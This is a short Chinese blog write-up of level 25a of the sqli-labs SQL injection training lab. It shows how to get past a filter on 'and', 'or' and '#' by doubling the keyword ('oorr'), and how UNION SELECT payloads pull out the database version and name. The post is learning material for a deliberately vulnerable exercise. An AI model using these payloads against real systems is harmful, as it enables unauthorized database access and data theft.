sqllab第二十五A关通关笔记

作者：菜鸟追梦旅行 | 2024-03-18 12:27:17

踩

sqllab第二十五A关通关笔记

知识点：

测试发现跟25关好像一样，就是过滤了and or # 等东西

构造payload:id=1/0

发现成功运算了，这是一个数值型的注入

构造payload:id=1/0+oorr+1=1--+

成功显示了内容，可以尝试错误注入

构造payload:id=1/0+oorr+exp(710)=1--+

发现没有任何的回显信息，说明这里不能用错误注入

老方法，使用联合注入

构造payload:id=1/0+union+select+1,2,3+--+

成功回显了输入的内容

下面开始进行数据库名和版本的获取

构造payload:id=1/0+union+select+1,version(),database()+--+

成功获取了版本信息和数据库名

同理，可以获取数据库其他内容，这里不演示了，收工

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/菜鸟追梦旅行/article/detail/263039